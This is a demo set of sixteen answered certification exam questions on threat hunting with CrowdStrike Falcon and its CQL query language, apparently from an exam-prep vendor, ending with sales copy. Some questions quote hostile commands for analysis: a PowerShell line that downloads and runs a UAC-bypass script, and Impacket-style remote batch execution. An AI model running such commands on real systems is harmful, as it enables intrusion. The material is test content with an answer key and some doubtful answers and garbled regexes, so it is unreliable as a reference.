



Vendor: CrowdStrike

Exam Code: CCFH-202b

Exam Name: CrowdStrike Certified Falcon Hunter

Version: DEMO

QUESTION 1

While performing a hunt for unusual PowerShell commands, you discover the following command being run on a single host:

```
powershell.exe "(New-Object  
Net.WebClient).DownloadString('https://raw.githubusercontent.com/.../In  
voke-AppPathBypass.ps1')"
```

The process tree for this command looks like this:

```
winlogon.exe > userinit.exe > explorer.exe > powershell_ise.exe >  
powershell.exe
```

All of the commands are run during normal working hours under the account of a user from the IT department.

What should be your next steps in the investigation?

- A. Network contain the host and prepare the machine for a full re-image
- B. Start an RTR session on the host. Check the user's Downloads folder for the file AppPathBypass.ps1 and delete the file
- C. Mark the detection as True Positive. Trigger an automated remediation to remove all malicious files and methods of persistence
- D. Perform a +/- 10 minute search for events around this process execution to get more context. Contact the user to confirm whether or not this was testing-related activity

Answer: D

Explanation:

The execution chain originates from an interactive user session (Explorer/PowerShell ISE) during business hours and uses a known technique script pulled from a public repo, which can be legitimate testing for an IT user. The right next move is to build context with a tight time-window search around the execution and then validate intent with the user before taking disruptive containment or remediation actions.

QUESTION 2

You receive a detection with the following command line:

```
C:\Windows\system32\cmd.exe /Q /c echo ping -n 1 google.com ^>  
\\VICTIM-MACHINE\C$\__output 2^>^&1 >  
C:\Windows\pJYOrvQB.bat & C:\Windows\system32\cmd.exe /Q /c  
C:\Windows\pJYOrvQB.bat &del C:\Windows\pJYOrvQB.bat
```

What describes the activity observed?

- A. Administrator testing network activity via connectivity of .bat script to ping google.com
- B. Administrator setting default DNS resolver for google.com via a .bat script
- C. Impacket tooling executing Mimikatz attack via a .bat script as a part of privilege escalation activity
- D. Impacket tooling testing network connectivity on host as a part of reconnaissance activity

Answer: D

Explanation:

This is characteristic of Impacket-style remote command execution (for example SMBExec/WMIExec patterns): it writes a temporary batch file to the Windows directory, runs a

simple command (ping) with stdout/stderr redirected to an output file on the ADMIN\$ / C\$ share (\\VICTIM-MACHINE\C\$__output) so the operator can retrieve results over SMB, then deletes the batch file. The ping to google.com is being used as a basic connectivity check as part of reconnaissance.

QUESTION 3

You are tasked with writing a query that utilizes a groupBy statement to make clustering of data easier to understand. You need to group the SHA256 value and count of unique endpoints seen. Which query will accomplish this task?

- A. | groupBy(SHA256HashData, function=(count(aid, distinct=true, as=uniqueEndpoints)))
- B. | groupBy(SHA256HashData, function=(sum(aid, distinct=true, as=uniqueEndpoints)))
- C. | groupBy(SHA256HashData, sum(field=aid, as=uniqueEndpoints))
- D. | groupBy(SHA256HashData, collect(field=aid, as=uniqueEndpoints))

Answer: A

Explanation:

It groups results by the SHA256 field and uses a distinct count of endpoint identifiers to produce the number of unique endpoints associated with each hash, which is the key clustering metric requested.

QUESTION 4

What data points can you expect to see after running this query?

```
#event_simpleName=UserIdentity  
| aid=?aid LogonType=10
```

- A. User details for all RDP connections for a specific host
- B. The source and destination for RDP connections
- C. User details for local connections
- D. All logon events

Answer: A

Explanation:

UserIdentity contains the resolved user identity attributes on an endpoint, and filtering by a specific agent ID scopes it to one host. Adding LogonType 10 focuses the results on remote interactive logons, which correspond to RDP-style sessions, so you get the user details tied to those RDP logons for that host.

QUESTION 5

You need to search for all IP v4 connections made by any powershell.exe processes. What CQL query will help you find these processes?

- A. #event__simpleName = ProcessRollup2 | FileName = "powershell.exe" | RemoteIP = "127.0.0.1"
- B. #event_simpleName = ProcessRollup2 | FileName = "powershell.exe" | join({#event_simpleName = NetworkConnectIP4}, field=[TargetProcessId], key=ContextProcessId)
- C. #event_simpleName = NetworkConnectIP4 | FileName "powershell.exe"
- D. #event_simpleName = NetworkConnectIP4 | join({#event_simpleName = ProcessRollup2}, field=[TargetProcessId], key=ContextProcessId)

Answer: B

Explanation:

Process execution data contains the process name, while network connection telemetry contains the remote IPv4 connection details and references the originating process via the context PID. Joining PowerShell process executions to IPv4 connection events on that PID relationship returns all IPv4 connections made by powershell.exe processes.

QUESTION 6

Which query below can be utilized to filter for users with greater than 25 total logons?

- A. #event_simpleName=UserLogon
| stats(UserName)
| where (totalLogons >25)
- B. #event_simpleName=UserLogon| groupBy(UserName, function=(count(aid, as=totalLogons)))|
test(totalLogons > 25)
- C. #event_simpleName=UserLogon| stats(UserName, function=(count(aid, as=totalLogons)))|
where(totalLogons > 25)
- D. #event_simpleName=UserLogon
| groupBy(UserName)
| where(totalLogons >25)

Answer: C

Explanation:

It aggregates logon events per user by counting occurrences into a totalLogons field, then applies a post-aggregation filter to return only users whose totalLogons value exceeds 25.

QUESTION 7

You get a detection for a malicious PowerShell script with the process flow below.

Unknown Process => chrome.exe => wscript.exe => powershell.exe

Which process should you investigate further to identify the source of the script?

- A. chrome.exe
- B. Unknown Process
- C. wscript.exe
- D. powershell.exe

Answer: C

Explanation:

wscript.exe is the script host and is the most direct parent responsible for launching PowerShell in this chain. Its command line typically contains the script file path or inline script content, making it the best pivot point to identify the script's source and how it was invoked.

QUESTION 8

You receive an alert for the following process tree:

Outlook.exe -> iexplore.exe -> Winword.exe -> cmd.exe -> PowerShell.exe

What has occurred according to the information provided?

- A. A user selected Open with Outlook on a Word file, which utilizes PowerShell to initiate this

process

- B. A user executed a malicious PowerShell command which used cmd to send a malicious Word document using Outlook
- C. A user initiated a software update of Outlook, which used Internet Explorer to download a Word document, that then used cmd.exe and PowerShell to install malware
- D. A user received an email in Outlook with a malicious link to download a trojanized Word document containing a malicious macro

Answer: D

Explanation:

The chain shows an email-originated action in Outlook that led to Internet Explorer being used to retrieve content, followed by Word execution and then a macro-like transition into cmd.exe and PowerShell for follow-on execution, which is consistent with a trojanized document delivering a malicious macro/payload.

QUESTION 9

You've been tasked with writing a query that would rename the RemoteAddressIP4 field to SourceIP. What would be the correct syntax using the rename() function?

- A. | rename(RemoteAddressIP=SourceIP)
- B. | rename(RemoteAddressIP4, as=SourceIP)
- C. | rename(RemoteAddressIP4 >> SourceIP)
- D. | rename(RemoteAddressIP4>SourceIP)

Answer: B

Explanation:

The rename function uses the pattern of specifying the original field and assigning the new field name with the as parameter, which correctly renames RemoteAddressIP4 to SourceIP.

QUESTION 10

You are investigating suspicious usage of the process PowerShell.exe within Advanced Event Search and want to ensure the parent process CSFalconService.exe is not included in the results. Which option should you add to your query to remove CSFalconService.exe from the results?

- A. | ParentBaseFileName != CSFalconService.exe
- B. | CSFalconService.exe !=~ ParentBaseFileName
- C. | CSFalconService.exe != ParentBaseFileName
- D. | ParentBaseFileName =! CSFalconService.exe

Answer: A

Explanation:

This adds a not-equal filter on the parent process name so events where the parent is CSFalconService.exe are excluded from the search results.

QUESTION 11

You are investigating a compromise on a Linux host. You suspect that the host is running an older version of Apache and that the Log4j (CVE-2021-44228) vulnerability is being exploited using JNDI lookups. What CQL query could you use to determine if Log4j is the root cause of the compromise?

- A. #event_simpleName=ScriptControlDetectInfo
| ScriptContent=/. * jndi:\W{1,5}:\?\\.*\}/i
- B. #event_simpleName=Cve-Detection
| Cve-Number=CVE-2021-44228
- C. ExternalApiType=Event_DetectionSummaryEvent
| DetectDescription=/log4j/i
- D. #event_simpleName=HttpRequestDetect
HttpRequestHeader=/. * jndi:\W{1,5}:\?\\.*\}/i

Answer: D

Explanation:

This searches HTTP request telemetry and applies a regex to the request headers to detect JNDI lookup strings (a common Log4Shell exploitation indicator). Seeing these JNDI patterns in inbound HTTP traffic to the host strongly supports Log4j exploitation as the initial access vector.

QUESTION 12

Which query using the groupBy() function will result in a syntax error?

- A. | groupBy(AggregateId, function=selectLast([@timestamp, aid, LocalIP, SeverityName]))
- B. | groupBy(field=[aid, #event_simpleName], function=count())
- C. | groupBy(field=aid, function=count())
- D. | groupBy(Gtimestamp, ComputerName, aid, #event_simpleName, CommandLine)

Answer: D

Explanation:

groupBy requires the grouping fields to be provided as a single field argument (either one field or a list) and any aggregations must be defined with the function parameter. Supplying multiple positional fields without the required field= syntax and without a function definition will produce a syntax error.

QUESTION 13

What partial CQL query will convert Unix timestamps from a web server log into a human readable format?

- A. | eval(connectTime = (((requestTime/60)/60)/24)+ DATE(1970,1,1))
- B. | connectTime:= formatTime("%Y/%m/%d %T", field=requestTime, locale=en_US, timezone=Z)
- C. | connectTime:= formatTime("%Y/%m/%d %T", local=en_US, timezone=Z)
- D. | eval connectTime=strftime(requestTime, "%m/%d/%y %H:%M:%S")

Answer: B

Explanation:

It uses formatTime with the desired output pattern and assigns the formatted result to a new field (connectTime), converting the Unix timestamp field into a readable date/time string in UTC.

QUESTION 14

You notice an unusual spike in use of PsExec across multiple machines within your environment. Which action will validate if this is legitimate or malicious activity?

- A. Contain the host until you can perform an investigation of the PowerShell commands
- B. Verify if the commands were run by an authorized administrator account performing known legitimate activity

C. Flag the user to monitor for further activity

Answer: B

Explanation:

Confirming whether the activity was performed by an authorized administrator and matches expected operational tasks quickly distinguishes legitimate remote administration from malicious lateral movement, making validation of the account and purpose the correct first step.

QUESTION 15

What would allow you to quickly generate a graphical view of relationships surrounding a malicious file that was seen being loaded?

- A. Hash search
- B. Process tree view
- C. Indicators search
- D. Indicator graph

Answer: D

Explanation:

Indicator graph automatically builds a visual relationship map around the selected file or indicator, showing associated hosts, processes, users, and related activity, which provides a fast graphical view of how the malicious file is connected within the environment.

QUESTION 16

Falcon Machine Learning has prevented and quarantined a file being written to disk that has VSCode as a parent process. This file was compiled by the system owner. What should the next steps be?

- A. Detonate the file in a private sandbox, and write a Machine Learning exclusion if the file activity is expected
- B. Detonate the file in a private sandbox, and write an exclusion for the Indicator of Attack if the file activity is expected
- C. Search for the file hash in VirusTotal, and write a Sensor Visibility Exclusion

Answer: A

Explanation:

Detonating the file in a private sandbox validates whether the compiled output is truly benign despite the machine learning prevention. If the behavior is confirmed as expected development activity, a Machine Learning exclusion is the appropriate control to prevent future false positives from similar builds.

Thank You for Trying Our Product

Lead2pass Certification Exam Features:

- ★ More than **99,900** Satisfied Customers Worldwide.
- ★ Average **99.9%** Success Rate.
- ★ **Free Update** to match latest and real exam scenarios.
- ★ **Instant Download** Access! No Setup required.
- ★ Questions & Answers are downloadable in **PDF** format and **VCE** test engine format.
- ★ Multi-Platform capabilities - **Windows, Laptop, Mac, Android, iPhone, iPod, iPad**.
- ★ **100%** Guaranteed Success or **100%** Money Back Guarantee.
- ★ **Fast**, helpful support **24x7**.



View list of all certification exams: <http://www.lead2pass.com/all-products.html>



10% Discount Coupon Code: ASTR14